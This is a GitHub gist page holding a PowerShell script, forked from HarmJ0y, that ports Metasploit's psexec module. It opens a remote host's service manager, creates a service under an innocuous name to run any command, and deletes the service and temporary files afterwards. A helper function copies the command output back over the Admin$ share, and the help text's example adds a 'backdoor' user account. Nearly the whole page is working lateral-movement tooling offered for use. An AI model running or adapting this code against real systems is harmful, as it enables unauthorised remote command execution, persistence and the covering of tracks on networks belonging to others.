Skip to content

Instantly share code, notes, and snippets.

@thebigplate
Forked from HarmJ0y/Invoke-Psexec.ps1
Created October 17, 2018 02:56
Show Gist options
  • Save thebigplate/ca095325f826529cab5dd55f9790ea9b to your computer and use it in GitHub Desktop.
Save thebigplate/ca095325f826529cab5dd55f9790ea9b to your computer and use it in GitHub Desktop.
Invoke-Psexec
function Invoke-Psexec {
<#
.SYNOPSIS
This function is a rough port of Metasploit's psexec functionality.
It utilizes Windows API calls to open up the service manager on
a remote machine, creates/run a service with an associated binary
path or command, and then cleans everything up.
Adapted from MSF's version (see links).
Author: @harmj0y
License: BSD 3-Clause
.PARAMETER HostName
Hostname to run the command on.
.PARAMETER Command
Binary path (or Windows command) to execute.
.PARAMETER ServiceName
The name of the service to create, defaults to "TestSVC"
.EXAMPLE
> Invoke-Psexec -HostName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32
Creates a user named backdoor on the 192.168.50.200 host, with the
temporary service being named 'Updater32'
.LINK
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $True)]
[string]$HostName,
[Parameter(Mandatory = $True)]
[string]$Command,
[string]$ServiceName = "TestSVC"
)
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
# Declare/setup all the needed API function
# adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
$CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
$CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
$CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)
$OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
$OpenSCManagerADelegate = Get-DelegateType @( [string], [string], [Int]) ([IntPtr])
$OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)
$OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
$OpenServiceADelegate = Get-DelegateType @( [Int], [String], [Int]) ([Int])
$OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)
$CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
$CreateServiceADelegate = Get-DelegateType @( [Int], [string], [string], [Int], [Int], [Int], [Int], [string], [string], [Int], [Int], [Int], [Int]) ([IntPtr])
$CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)
$StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
$StartServiceADelegate = Get-DelegateType @( [Int], [Int], [Int]) ([Int])
$StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)
$DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
$DeleteServiceDelegate = Get-DelegateType @( [Int] ) ([Int])
$DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)
$GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
$GetLastErrorDelegate = Get-DelegateType @() ([Int])
$GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)
# Step 1 - OpenSCManager()
# 0xF003F = SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
"[*] Opening service manager"
$ManagerHandle = $OpenSCManagerA.Invoke("\\$HostName", "ServicesActive", 0xF003F)
Write-Verbose "[*] Service manager handle: $ManagerHandle"
# if we get a non-zero handle back, everything was successful
if ($ManagerHandle -ne 0){
# Step 2 - CreateService()
# 0xF003F = SC_MANAGER_ALL_ACCESS
# 0x10 = SERVICE_WIN32_OWN_PROCESS
# 0x3 = SERVICE_DEMAND_START
# 0x1 = SERVICE_ERROR_NORMAL
"[*] Creating new service: '$ServiceName'"
$ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle"
if ($ServiceHandle -ne 0){
Write-Verbose "[*] Service successfully created"
# Step 3 - CloseServiceHandle() for the service handle
"[*] Closing service handle"
$t = $CloseServiceHandle.Invoke($ServiceHandle)
# Step 4 - OpenService()
"[*] Opening the service '$ServiceName'"
$ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
Write-Verbose "[*] OpenServiceA handle: $ServiceHandle"
if ($ServiceHandle -ne 0){
# Step 5 - StartService()
"[*] Starting the service"
$val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
# if we successfully started the service, let it breathe and then delete it
if ($val -ne 0){
Write-Verbose "[*] Service successfully started"
# breathe for a second
Start-Sleep -s 1
}
else{
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
$err = $GetLastError.Invoke()
if ($err -eq 1053){
Write-Verbose "[*] Command didn't respond to start"
}
else{
Write-Warning "[!] StartService failed, LastError: $err"
}
# breathe for a second
Start-Sleep -s 1
}
# start cleanup
# Step 6 - DeleteService()
"[*] Deleting the service '$ServiceName'"
$val = $DeleteService.invoke($ServiceHandle)
if ($val -eq 0){
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
$err = $GetLastError.Invoke()
Write-Warning "[!] DeleteService failed, LastError: $err"
}
else{
Write-Verbose "[*] Service successfully deleted"
}
# Step 7 - CloseServiceHandle() for the service handle
"[*] Closing the service handle"
$val = $CloseServiceHandle.Invoke($ServiceHandle)
Write-Verbose "[*] Service handle closed off"
}
else{
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
$err = $GetLastError.Invoke()
Write-Warning "[!] OpenServiceA failed, LastError: $err"
}
}
else{
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
$err = $GetLastError.Invoke()
Write-Warning "[!] CreateService failed, LastError: $err"
}
# final cleanup - close off the manager handle
"[*] Closing the manager handle"
$t = $CloseServiceHandle.Invoke($ManagerHandle)
}
else{
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
$err = $GetLastError.Invoke()
Write-Warning "[!] OpenSCManager failed, LastError: $err"
}
}
function Invoke-PsexecResults {
<#
.SYNOPSIS
This function utilizes Invoke-Psexec to execute a command on a remote
system using the service handler with the results redirected to a temporary
text file, retrieves the text file and then cleans everything up.
Adapted from MSF's version (see links).
Author: @harmj0y
License: BSD 3-Clause
.PARAMETER HostName
Hostname to run the command on.
.PARAMETER Command
Binary path (or Windows command) to execute.
.PARAMETER ServiceName
The name of the service to create, defaults to "TestSVC"
.PARAMETER ResultFile
Name of the file to write the results to locally, defaults to
copying in the temporary result file to the local location
.EXAMPLE
> Invoke-PsexecResults -HostName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt"
Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32',
and copies the result file to "results.txt" on the local path.
.LINK
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $True)]
[string]
$HostName,
[Parameter(Mandatory = $True)]
[string]
$Command,
[string]
$ServiceName = "TestSVC",
[string]
$ResultFile = "."
)
# http://stackingcode.com/blog/2011/10/27/quick-random-string
function Local:Get-RandomString
{
param (
[int]$Length = 12
)
$set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray()
$result = ""
for ($x = 0; $x -lt $Length; $x++) {
$result += $set | Get-Random
}
$result
}
# $TempText = "temp.txt"
$TempText = $(Get-RandomString) + ".txt"
# $TempBat = "temp.bat"
$TempBat = $(Get-RandomString) + ".bat"
$cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat"
Write-Verbose "Command: $cmd"
# invoke the command specified
"[*] Executing command: '$Command'"
Invoke-Psexec -HostName $HostName -Command $cmd -ServiceName $ServiceName
# retrieve the result file for the command
$RemoteResultFile = "\\$HostName\Admin$\Temp\$TempText"
"[*] Copying result file $RemoteResultFile to '$ResultFile'"
Copy-Item -Path $RemoteResultFile -Destination $ResultFile
# clean up the .txt and .bat files
"[*] Removing $RemoteResultFile"
Remove-Item $RemoteResultFile
"[*] Removing \\$HostName\Admin$\Temp\$TempBat"
Remove-Item "\\$HostName\Admin$\Temp\$TempBat"
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment